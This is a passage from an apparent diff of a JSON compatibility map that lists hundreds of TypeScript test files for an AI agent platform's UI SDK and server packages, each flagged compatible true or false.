"packages/ui-sdk/tests/egress-operation-lifecycle.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/egress-proxy.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/egress-reference.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/egress-socket-ownership.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/egress-worker-runtime.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/exec-wrapper.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/fixture-retention.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/gate-holder-crash.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/github-tool-contract.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/github-tools-brief.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/governed-worker.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/handoff-protocol.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/host-git-credentials.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/identity-gate-holder-crash.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/inbox-schemas.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/inference-clocks.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/inference-diagnostic-isolation.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/inference-egress.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/inference-relay.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/inference-usage.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/journal-coverage-schema.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/keyed-lock-priority.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/keyed-lock.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/loaded-sdk.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/maintenance-git-scaffolds.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/maintenance-helper-admission.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/maintenance-index-input.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/maintenance-mask-failure.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/maintenance-temp-budget.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/maintenance-temp-helpers.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/maintenance-temp-holders.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/maintenance-temp-ledger-protocol.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/maintenance-temp.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/maintenance-worker-kill.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/maintenance-worker.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/mask-produced-paths.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/mask-races.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/mask-scratch.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/message-source.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/native-brain-delta.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/native-brain-manager.test.ts":{"compatible":false}, + "packages/ui-sdk/tests/native-checkpoint-path-bounds.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/native-git-discard.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/native-identity-inspector.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/native-intent-recovery.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/native-manager-capacity.test.ts":{"compatible":false}, + "packages/ui-sdk/tests/native-manager-turn-trees.test.ts":{"compatible":false}, + "packages/ui-sdk/tests/native-observation-storage.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/native-recovery-index.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/native-reference-pool.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/native-worker-publication.test.ts":{"compatible":false}, + "packages/ui-sdk/tests/native-worker-startup-view.test.ts":{"compatible":false}, + "packages/ui-sdk/tests/native-worker-view.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/outward-actions.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/owned-prune-variant.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/permission-gate.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/places.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/provider-cache-masks.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/provider-mask-mounts.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/provider-relay-files.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/provider-relay-refusal.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/provider-relay.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/refused-launch-gate.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/registries.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/relay-failure-causes.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/retry-protocol.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/reverse-geocode.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/rtk.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/safety-admission-contract.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/safety-review-contract.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/schemas.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/scope-contract.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/sequence-maps.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/server-schemas.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/session-prompt-context.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/session-replay.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/share-target.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/show-block-files.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/show-block-graph.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/show-block-link.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/show-block-track.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/show-block-tracker.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/startup-input-accounting.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/startup-timing.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/state-room-protocol.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/subprocess-env.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/sw-policy.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/tool-contracts.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/transcript-store.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/turn-failure.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/turn-temp-tool.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/version-probe.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/version-requirements.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/web-search.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/worker-control-evidence.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/worker-data-tree.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/worker-file-observer.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/worker-filesystem-filter.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/worker-host-refusal.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/worker-identity-progress.test.ts":{"compatible":false}, + "packages/ui-sdk/tests/worker-import-order.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/worker-launcher.test.ts":{"compatible":false}, + "packages/ui-sdk/tests/worker-limits.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/worker-mountinfo-read.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/worker-output-budget.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/worker-pipes.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/worker-provider-keys.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/worker-provider-relay.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/worker-runtime-placement.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/worker-sandbox.test.ts":{"compatible":false}, + "packages/ui-sdk/tests/worker-startup-view.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/worker-state-mount.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/worker-status.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/worker-steps-event-loop.test.ts":{"compatible":false}, + "packages/ui-sdk/tests/worker-turn-temp.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/worker-var-sockets.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/workspace-refusal.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/write-lock.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/ws-client-liveness.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/ws-client.test.ts":{"compatible":true}, + "packages/ui-server/tests/account-partition.test.ts":{"compatible":true}, + "packages/ui-server/tests/account-writes-offloop.test.ts":{"compatible":true}, + "packages/ui-server/tests/action-notify-offloop.test.ts":{"compatible":true}, + "packages/ui-server/tests/activity-compute-origin.test.ts":{"compatible":true}, + "packages/ui-server/tests/activity-digest.test.ts":{"compatible":true}, + "packages/ui-server/tests/activity-notify.test.ts":{"compatible":true}, + "packages/ui-server/tests/activity-offloop.test.ts":{"compatible":true}, + "packages/ui-server/tests/activity-query-lifecycle.test.ts":{"compatible":true}, + "packages/ui-server/tests/activity-recorder.test.ts":{"compatible":true}, + "packages/ui-server/tests/activity-rollup-rounding.test.ts":{"compatible":true}, + "packages/ui-server/tests/activity-runtime.test.ts":{"compatible":true}, + "packages/ui-server/tests/activity-snapshot-consistency.test.ts":{"compatible":true}, + "packages/ui-server/tests/activity-stats.test.ts":{"compatible":true}, + "packages/ui-server/tests/activity-store.test.ts":{"compatible":true}, + "packages/ui-server/tests/activity-sweep.test.ts":{"compatible":true}, + "packages/ui-server/tests/admission-sub-phases.test.ts":{"compatible":true}, + "packages/ui-server/tests/apify-authority.test.ts":{"compatible":true}, + "packages/ui-server/tests/apify-consent.test.ts":{"compatible":true}, + "packages/ui-server/tests/apify-front-doors.test.ts":{"compatible":true}, + "packages/ui-server/tests/apify-pi-worker.test.ts":{"compatible":true}, + "packages/ui-server/tests/apify-robots.test.ts":{"compatible":true}, + "packages/ui-server/tests/apify-runs.test.ts":{"compatible":true}, + "packages/ui-server/tests/apify-settings.test.ts":{"compatible":true}, + "packages/ui-server/tests/apify-turn-budgets.test.ts":{"compatible":true}, + "packages/ui-server/tests/app-http-drain-runtime.test.ts":{"compatible":true}, + "packages/ui-server/tests/app-http-drain.test.ts":{"compatible":true}, + "packages/ui-server/tests/app-metadata-cancellation.test.ts":{"compatible":true}, + "packages/ui-server/tests/app-native-cleanup.test.ts":{"compatible":true}, + "packages/ui-server/tests/app-state-isolation.test.ts":{"compatible":true}, + "packages/ui-server/tests/app-wiring.test.ts":{"compatible":true}, + "packages/ui-server/tests/app-write-guard.test.ts":{"compatible":true}, + "packages/ui-server/tests/app-writer-cleanup.test.ts":{"compatible":true}, + "packages/ui-server/tests/app-writes-offloop.test.ts":{"compatible":true}, + "packages/ui-server/tests/application-index-batch.test.ts":{"compatible":true}, + "packages/ui-server/tests/application-index-timing.test.ts":{"compatible":true}, + "packages/ui-server/tests/approval-scope-isolation.test.ts":{"compatible":true}, + "packages/ui-server/tests/approval-session-binding.test.ts":{"compatible":true}, + "packages/ui-server/tests/attachment-detect.test.ts":{"compatible":true}, + "packages/ui-server/tests/attachment-extract.test.ts":{"compatible":true}, + "packages/ui-server/tests/attachment-ownership.test.ts":{"compatible":true}, + "packages/ui-server/tests/attachment-read-tool.test.ts":{"compatible":true}, + "packages/ui-server/tests/attachment-reads-delivery.test.ts":{"compatible":true}, + "packages/ui-server/tests/attachment-routes.test.ts":{"compatible":true}, + "packages/ui-server/tests/attachment-sweep.test.ts":{"compatible":true}, + "packages/ui-server/tests/auth.test.ts":{"compatible":true}, + "packages/ui-server/tests/authority-hold.test.ts":{"compatible":true}, + "packages/ui-server/tests/automatic-index-requeue.test.ts":{"compatible":true}, + "packages/ui-server/tests/autonomous-provider-masks.test.ts":{"compatible":true}, + "packages/ui-server/tests/autonomous-thread-provenance.test.ts":{"compatible":true}, + "packages/ui-server/tests/autonomous-turn.test.ts":{"compatible":true}, + "packages/ui-server/tests/backend-boot.test.ts":{"compatible":true}, + "packages/ui-server/tests/backend-host-exec.test.ts":{"compatible":true}, + "packages/ui-server/tests/backend-registry.test.ts":{"compatible":true}, + "packages/ui-server/tests/backend-startup-timing.test.ts":{"compatible":true}, + "packages/ui-server/tests/boot-probe-deadline.test.ts":{"compatible":true}, + "packages/ui-server/tests/brain-application-adapters.test.ts":{"compatible":true}, + "packages/ui-server/tests/brain-application.test.ts":{"compatible":true}, + "packages/ui-server/tests/brain-client.test.ts":{"compatible":true}, + "packages/ui-server/tests/brain-markup-application.test.ts":{"compatible":true}, + "packages/ui-server/tests/brain-mask-application.test.ts":{"compatible":true}, + "packages/ui-server/tests/brain-sse-terminal.test.ts":{"compatible":true}, + "packages/ui-server/tests/bridge-capabilities.test.ts":{"compatible":true}, + "packages/ui-server/tests/bundled-claude.test.ts":{"compatible":true}, + "packages/ui-server/tests/cache-diagnostics.test.ts":{"compatible":true}, + "packages/ui-server/tests/capture-outcome.test.ts":{"compatible":true}, + "packages/ui-server/tests/chat-deletion-http.test.ts":{"compatible":true}, + "packages/ui-server/tests/chat-deletion.test.ts":{"compatible":true}, + "packages/ui-server/tests/chat-lifecycle.test.ts":{"compatible":true}, + "packages/ui-server/tests/chat-session-owner.test.ts":{"compatible":true}, + "packages/ui-server/tests/classification.test.ts":{"compatible":true}, + "packages/ui-server/tests/claude-cancellation.test.ts":{"compatible":true}, + "packages/ui-server/tests/claude-effort-models.test.ts":{"compatible":true}, + "packages/ui-server/tests/claude-memory-journal.test.ts":{"compatible":true}, + "packages/ui-server/tests/claude-title-accounting.test.ts":{"compatible":true}, + "packages/ui-server/tests/claude-usage-accounting.test.ts":{"compatible":true}, + "packages/ui-server/tests/cli-inventory.test.ts":{"compatible":true}, + "packages/ui-server/tests/client-turn-completion.test.ts":{"compatible":true}, + "packages/ui-server/tests/client-turn-isolation.test.ts":{"compatible":true}, + "packages/ui-server/tests/client-turn-read-snapshot.test.ts":{"compatible":true}, + "packages/ui-server/tests/client-turn-receipt.test.ts":{"compatible":true}, + "packages/ui-server/tests/client-turn-stream-race.test.ts":{"compatible":true}, + "packages/ui-server/tests/close-cancels-shared-runs.test.ts":{"compatible":true}, + "packages/ui-server/tests/closing-clock-regressions.test.ts":{"compatible":true}, + "packages/ui-server/tests/code-change-history-runtime.test.ts":{"compatible":true}, + "packages/ui-server/tests/code-change-receipt.test.ts":{"compatible":true}, + "packages/ui-server/tests/combined-safety-review.test.ts":{"compatible":true}, + "packages/ui-server/tests/command-taint-recorder.test.ts":{"compatible":true}, + "packages/ui-server/tests/command-taint.test.ts":{"compatible":true}, + "packages/ui-server/tests/compute-backend-paths.test.ts":{"compatible":true}, + "packages/ui-server/tests/compute-host.test.ts":{"compatible":true}, + "packages/ui-server/tests/confirm-bash-env.test.ts":{"compatible":true}, + "packages/ui-server/tests/containment-rows.test.ts":{"compatible":true}, + "packages/ui-server/tests/contextual-task-drain.test.ts":{"compatible":true}, + "packages/ui-server/tests/conversation-history.test.ts":{"compatible":true}, + "packages/ui-server/tests/conversation-orientation.test.ts":{"compatible":true}, + "packages/ui-server/tests/conversation-storage.test.ts":{"compatible":true}, + "packages/ui-server/tests/core-queries.test.ts":{"compatible":true}, + "packages/ui-server/tests/credential-maintenance-exclusion.test.ts":{"compatible":true}, + "packages/ui-server/tests/cron-activity.test.ts":{"compatible":true}, + "packages/ui-server/tests/cron-bin.test.ts":{"compatible":true}, + "packages/ui-server/tests/cron-digest.test.ts":{"compatible":true}, + "packages/ui-server/tests/cron-emit.test.ts":{"compatible":true}, + "packages/ui-server/tests/cron-maintain-provider-relay.test.ts":{"compatible":true}, + "packages/ui-server/tests/cron-module-discovery.test.ts":{"compatible":true}, + "packages/ui-server/tests/cron-module-github-relay.test.ts":{"compatible":true}, + "packages/ui-server/tests/cron-run-job.test.ts":{"compatible":true}, + "packages/ui-server/tests/cron-scheduler.test.ts":{"compatible":true}, + "packages/ui-server/tests/cron-scratch-prune.test.ts":{"compatible":true}, + "packages/ui-server/tests/cron-sync.test.ts":{"compatible":true}, + "packages/ui-server/tests/db-migration-runner.test.ts":{"compatible":true}, + "packages/ui-server/tests/db-startup-lock.test.ts":{"compatible":true}, + "packages/ui-server/tests/db.test.ts":{"compatible":true}, + "packages/ui-server/tests/declaration-surface.test.ts":{"compatible":true}, + "packages/ui-server/tests/degraded-backend.test.ts":{"compatible":true}, + "packages/ui-server/tests/dialogue-account-ownership.test.ts":{"compatible":true}, + "packages/ui-server/tests/dialogue-drain-deadline.test.ts":{"compatible":true}, + "packages/ui-server/tests/dialogue-owner-drain.test.ts":{"compatible":true}, + "packages/ui-server/tests/dialogue-queue-adoption.test.ts":{"compatible":true}, + "packages/ui-server/tests/dialogue-storage.test.ts":{"compatible":true}, + "packages/ui-server/tests/draft-snapshots.test.ts":{"compatible":true}, + "packages/ui-server/tests/drafts-http.test.ts":{"compatible":true}, + "packages/ui-server/tests/drafts-send.test.ts":{"compatible":true}, + "packages/ui-server/tests/drafts-settings-offloop.test.ts":{"compatible":true}, + "packages/ui-server/tests/drafts-store.test.ts":{"compatible":true}, + "packages/ui-server/tests/egress-refusal-matrix.test.ts":{"compatible":true}, + "packages/ui-server/tests/env.test.ts":{"compatible":true}, + "packages/ui-server/tests/external-speech.test.ts":{"compatible":true}, + "packages/ui-server/tests/extraction-admission.test.ts":{"compatible":true}, + "packages/ui-server/tests/extraction-band-requalification.test.ts":{"compatible":true}, + "packages/ui-server/tests/extraction-classifier-labelled.test.ts":{"compatible":true}, + "packages/ui-server/tests/extraction-judge.test.ts":{"compatible":true}, + "packages/ui-server/tests/files-html-preview.test.ts":{"compatible":true}, + "packages/ui-server/tests/files-raw-range.test.ts":{"compatible":true}, + "packages/ui-server/tests/files-walker.test.ts":{"compatible":true}, + "packages/ui-server/tests/form-limits-config.test.ts":{"compatible":true}, + "packages/ui-server/tests/frame-headers.test.ts":{"compatible":true}, + "packages/ui-server/tests/frontmatter-data-only.test.ts":{"compatible":true}, + "packages/ui-server/tests/gemini-conversation.test.ts":{"compatible":true}, + "packages/ui-server/tests/gemini-speech.test.ts":{"compatible":true}, + "packages/ui-server/tests/geo-config.test.ts":{"compatible":true}, + "packages/ui-server/tests/geo-route.test.ts":{"compatible":true}, + "packages/ui-server/tests/github-details.test.ts":{"compatible":true}, + "packages/ui-server/tests/github-network-card.test.ts":{"compatible":true}, + "packages/ui-server/tests/github-reference-access.test.ts":{"compatible":true}, + "packages/ui-server/tests/github-reference-git.test.ts":{"compatible":false}, + "packages/ui-server/tests/github-reference-identity.test.ts":{"compatible":true}, + "packages/ui-server/tests/github-reference-wire.test.ts":{"compatible":true}, + "packages/ui-server/tests/github-tools-host.test.ts":{"compatible":true}, + "packages/ui-server/tests/github-write-tools.test.ts":{"compatible":true}, + "packages/ui-server/tests/governance-events-http.test.ts":{"compatible":true}, + "packages/ui-server/tests/governance-events.test.ts":{"compatible":true}, + "packages/ui-server/tests/governance-policy-application.test.ts":{"compatible":true}, + "packages/ui-server/tests/governance-policy.test.ts":{"compatible":true}, + "packages/ui-server/tests/governance-roadblock-report.test.ts":{"compatible":true}, + "packages/ui-server/tests/governance-roadblocks.test.ts":{"compatible":true}, + "packages/ui-server/tests/governed-manifest.test.ts":{"compatible":true}, + "packages/ui-server/tests/gpt-live-conversation.test.ts":{"compatible":true}, + "packages/ui-server/tests/graph-error-mapping.test.ts":{"compatible":true}, + "packages/ui-server/tests/graph-routes.test.ts":{"compatible":true}, + "packages/ui-server/tests/helpers/test-app.test.ts":{"compatible":true}, + "packages/ui-server/tests/host-capability-note.test.ts":{"compatible":true}, + "packages/ui-server/tests/host-execution-boundary.test.ts":{"compatible":true}, + "packages/ui-server/tests/host-fallback-folder-policy.test.ts":{"compatible":false}, + "packages/ui-server/tests/host-fallback-gates.test.ts":{"compatible":true}, + "packages/ui-server/tests/host-fallback-transition.test.ts":{"compatible":true}, + "packages/ui-server/tests/host-git-credentials.test.ts":{"compatible":true}, + "packages/ui-server/tests/host-processes.test.ts":{"compatible":true}, + "packages/ui-server/tests/host-publication-safety.test.ts":{"compatible":true}, + "packages/ui-server/tests/host-unpinned-folder-plan.test.ts":{"compatible":true}, + "packages/ui-server/tests/host-version-requirements.test.ts":{"compatible":true}, + "packages/ui-server/tests/http-cli-errors.test.ts":{"compatible":true}, + "packages/ui-server/tests/http-discovery-voice.test.ts":{"compatible":true}, + "packages/ui-server/tests/http-index-queries.test.ts":{"compatible":true}, + "packages/ui-server/tests/http-internal-mounts.test.ts":{"compatible":true}, + "packages/ui-server/tests/http-inventory.test.ts":{"compatible":true}, + "packages/ui-server/tests/http-mount-pool.test.ts":{"compatible":true}, + "packages/ui-server/tests/http-mount-timers.test.ts":{"compatible":true}, + "packages/ui-server/tests/http-object-bodies.test.ts":{"compatible":true}, + "packages/ui-server/tests/http-principal-boundaries.test.ts":{"compatible":true}, + "packages/ui-server/tests/http-supported-mounts.test.ts":{"compatible":true}, + "packages/ui-server/tests/http-validation.test.ts":{"compatible":true}, + "packages/ui-server/tests/http-websocket-admission.test.ts":{"compatible":true}, + "packages/ui-server/tests/hygiene-media-effects.test.ts":{"compatible":true}, + "packages/ui-server/tests/hygiene-review-media.test.ts":{"compatible":true}, + "packages/ui-server/tests/hygiene-review.test.ts":{"compatible":true}, + "packages/ui-server/tests/inbox-bin.test.ts":{"compatible":true}, + "packages/ui-server/tests/inbox-bridge-tools.test.ts":{"compatible":true}, + "packages/ui-server/tests/inbox-budget.test.ts":{"compatible":true}, + "packages/ui-server/tests/inbox-dispatch-ae.test.ts":{"compatible":true}, + "packages/ui-server/tests/inbox-dispatcher.test.ts":{"compatible":true}, + "packages/ui-server/tests/inbox-escalate.test.ts":{"compatible":true}, + "packages/ui-server/tests/inbox-intake-holds.test.ts":{"compatible":true}, + "packages/ui-server/tests/inbox-intake.test.ts":{"compatible":true}, + "packages/ui-server/tests/inbox-notify.test.ts":{"compatible":true}, + "packages/ui-server/tests/inbox-resolve.test.ts":{"compatible":true}, + "packages/ui-server/tests/inbox-runtime.test.ts":{"compatible":true}, + "packages/ui-server/tests/inbox-snapshot.test.ts":{"compatible":true}, + "packages/ui-server/tests/inbox-store.test.ts":{"compatible":true}, + "packages/ui-server/tests/inbox-stream.test.ts":{"compatible":true}, + "packages/ui-server/tests/inbox-triage.test.ts":{"compatible":true}, + "packages/ui-server/tests/inbox-unwind.test.ts":{"compatible":true}, + "packages/ui-server/tests/inbox-writes-offloop.test.ts":{"compatible":true}, + "packages/ui-server/tests/index-directory.test.ts":{"compatible":true}, + "packages/ui-server/tests/index-observation-cap.test.ts":{"compatible":true}, + "packages/ui-server/tests/index-read-barrier.test.ts":{"compatible":true}, + "packages/ui-server/tests/index-update-receipt.test.ts":{"compatible":true}, + "packages/ui-server/tests/ingestion-taint.test.ts":{"compatible":true}, + "packages/ui-server/tests/integration/brain-db-schema-contract.test.ts":{"compatible":true}, + "packages/ui-server/tests/integration/inbox-bridge-host.test.ts":{"compatible":true}, + "packages/ui-server/tests/integration/inbox-dispatch-app.test.ts":{"compatible":true}, + "packages/ui-server/tests/integration/inbox-dispatch-recovery.test.ts":{"compatible":true}, + "packages/ui-server/tests/integration/inbox-socket.test.ts":{"compatible":true}, + "packages/ui-server/tests/integration/real-socket-answers.test.ts":{"compatible":true}, + "packages/ui-server/tests/integration/real-socket.test.ts":{"compatible":true}, + "packages/ui-server/tests/interactive-share.test.ts":{"compatible":true}, + "packages/ui-server/tests/jev-probe-concurrency.test.ts":{"compatible":true}, + "packages/ui-server/tests/jobs-board-defaults-http.test.ts":{"compatible":true}, + "packages/ui-server/tests/jobs-board-selection-http.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-accounting.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-activity-compatibility.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-code-receipt-upgrade.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-database.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-directory.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-idle-maintenance.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-index-exclusion.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-index-metadata-only.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-index-purge.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-kept-files.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-ledger.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-object-index.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-objects-async.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-objects.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-observation-batch.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-observation-counters.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-observation-trace.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-reference-cleanup.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-scrub-upgrade.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-scrub.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-snapshot.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-write-worker.test.ts":{"compatible":true}, + "packages/ui-server/tests/journal-writer-delta.test.ts":{"compatible":true}, + "packages/ui-server/tests/json-lines.test.ts":{"compatible":true}, + "packages/ui-server/tests/keyterm-builder.test.ts":{"compatible":true}, + "packages/ui-server/tests/lifecycle-wire-compatibility.test.ts":{"compatible":true}, + "packages/ui-server/tests/live-conversation-helper.test.ts":{"compatible":true}, + "packages/ui-server/tests/live-history-adapters.test.ts":{"compatible":true}, + "packages/ui-server/tests/live-history-order.test.ts":{"compatible":true}, + "packages/ui-server/tests/live-history-source.test.ts":{"compatible":true}, + "packages/ui-server/tests/live-history-track.test.ts":{"compatible":true}, + "packages/ui-server/tests/live-persona-adapters.test.ts":{"compatible":true}, + "packages/ui-server/tests/live-persona-host.test.ts":{"compatible":true}, + "packages/ui-server/tests/live-personas.test.ts":{"compatible":true}, + "packages/ui-server/tests/live-provider-selection.test.ts":{"compatible":true}, + "packages/ui-server/tests/live-safety-admission.test.ts":{"compatible":true}, + "packages/ui-server/tests/maintenance-cancellation-cleanup.test.ts":{"compatible":true}, + "packages/ui-server/tests/maintenance-cron-publication.test.ts":{"compatible":true}, + "packages/ui-server/tests/maintenance-git-publication-scope.test.ts":{"compatible":true}, + "packages/ui-server/tests/maintenance-git-publication.test.ts":{"compatible":true}, + "packages/ui-server/tests/maintenance-git-runtime-path.test.ts":{"compatible":true}, + "packages/ui-server/tests/maintenance-git-source.test.ts":{"compatible":true}, + "packages/ui-server/tests/maintenance-git-space.test.ts":{"compatible":true}, + "packages/ui-server/tests/maintenance-git-targets.test.ts":{"compatible":false}, + "packages/ui-server/tests/maintenance-launch-release.test.ts":{"compatible":true}, + "packages/ui-server/tests/maintenance-module-github-relay.test.ts":{"compatible":true}, + "packages/ui-server/tests/maintenance-probe-admission.test.ts":{"compatible":true}, + "packages/ui-server/tests/maintenance-provider-relay.test.ts":{"compatible":true}, + "packages/ui-server/tests/maintenance-startup-view.test.ts":{"compatible":true}, + "packages/ui-server/tests/maintenance-temp-boundary-diagnostics.test.ts":{"compatible":true}, + "packages/ui-server/tests/maintenance-temp-boundary.test.ts":{"compatible":true}, + "packages/ui-server/tests/maintenance-temp-config.test.ts":{"compatible":true}, + "packages/ui-server/tests/maintenance-temp-schedule.test.ts":{"compatible":true}, + "packages/ui-server/tests/maintenance-wire-compatibility.test.ts":{"compatible":true}, + "packages/ui-server/tests/markup-bridge.test.ts":{"compatible":true}, + "packages/ui-server/tests/markup-route.test.ts":{"compatible":true}, + "packages/ui-server/tests/media-review-flow.test.ts":{"compatible":true}, + "packages/ui-server/tests/model-pricing.test.ts":{"compatible":true}, + "packages/ui-server/tests/models-routes.test.ts":{"compatible":true}, + "packages/ui-server/tests/module-github-relay.test.ts":{"compatible":true}, + "packages/ui-server/tests/module-repositories.test.ts":{"compatible":true}, + "packages/ui-server/tests/module-settings-http.test.ts":{"compatible":true}, + "packages/ui-server/tests/native-app-fixture.test.ts":{"compatible":true}, + "packages/ui-server/tests/native-brain-leases.test.ts":{"compatible":false}, + "packages/ui-server/tests/native-history-removal.test.ts":{"compatible":true}, + "packages/ui-server/tests/native-host-inputs.test.ts":{"compatible":true}, + "packages/ui-server/tests/native-journal-fixture.test.ts":{"compatible":true}, + "packages/ui-server/tests/native-journal-observer.test.ts":{"compatible":true}, + "packages/ui-server/tests/native-journal-policy.test.ts":{"compatible":true}, + "packages/ui-server/tests/native-journal-private-batch.test.ts":{"compatible":false}, + "packages/ui-server/tests/native-journal-read.test.ts":{"compatible":true}, + "packages/ui-server/tests/native-journal-steering.test.ts":{"compatible":true}, + "packages/ui-server/tests/native-startup-releases.test.ts":{"compatible":true}, + "packages/ui-server/tests/native-suite-fixture.test.ts":{"compatible":true}, + "packages/ui-server/tests/native-worker-startup-order.test.ts":{"compatible":true}, + "packages/ui-server/tests/no-console.test.ts":{"compatible":true}, + "packages/ui-server/tests/notify-offloop.test.ts":{"compatible":true}, + "packages/ui-server/tests/observability.test.ts":{"compatible":true}, + "packages/ui-server/tests/observation-holds.test.ts":{"compatible":true}, + "packages/ui-server/tests/operational-state-boot-admission.test.ts":{"compatible":true}, + "packages/ui-server/tests/operational-state-layout.test.ts":{"compatible":true}, + 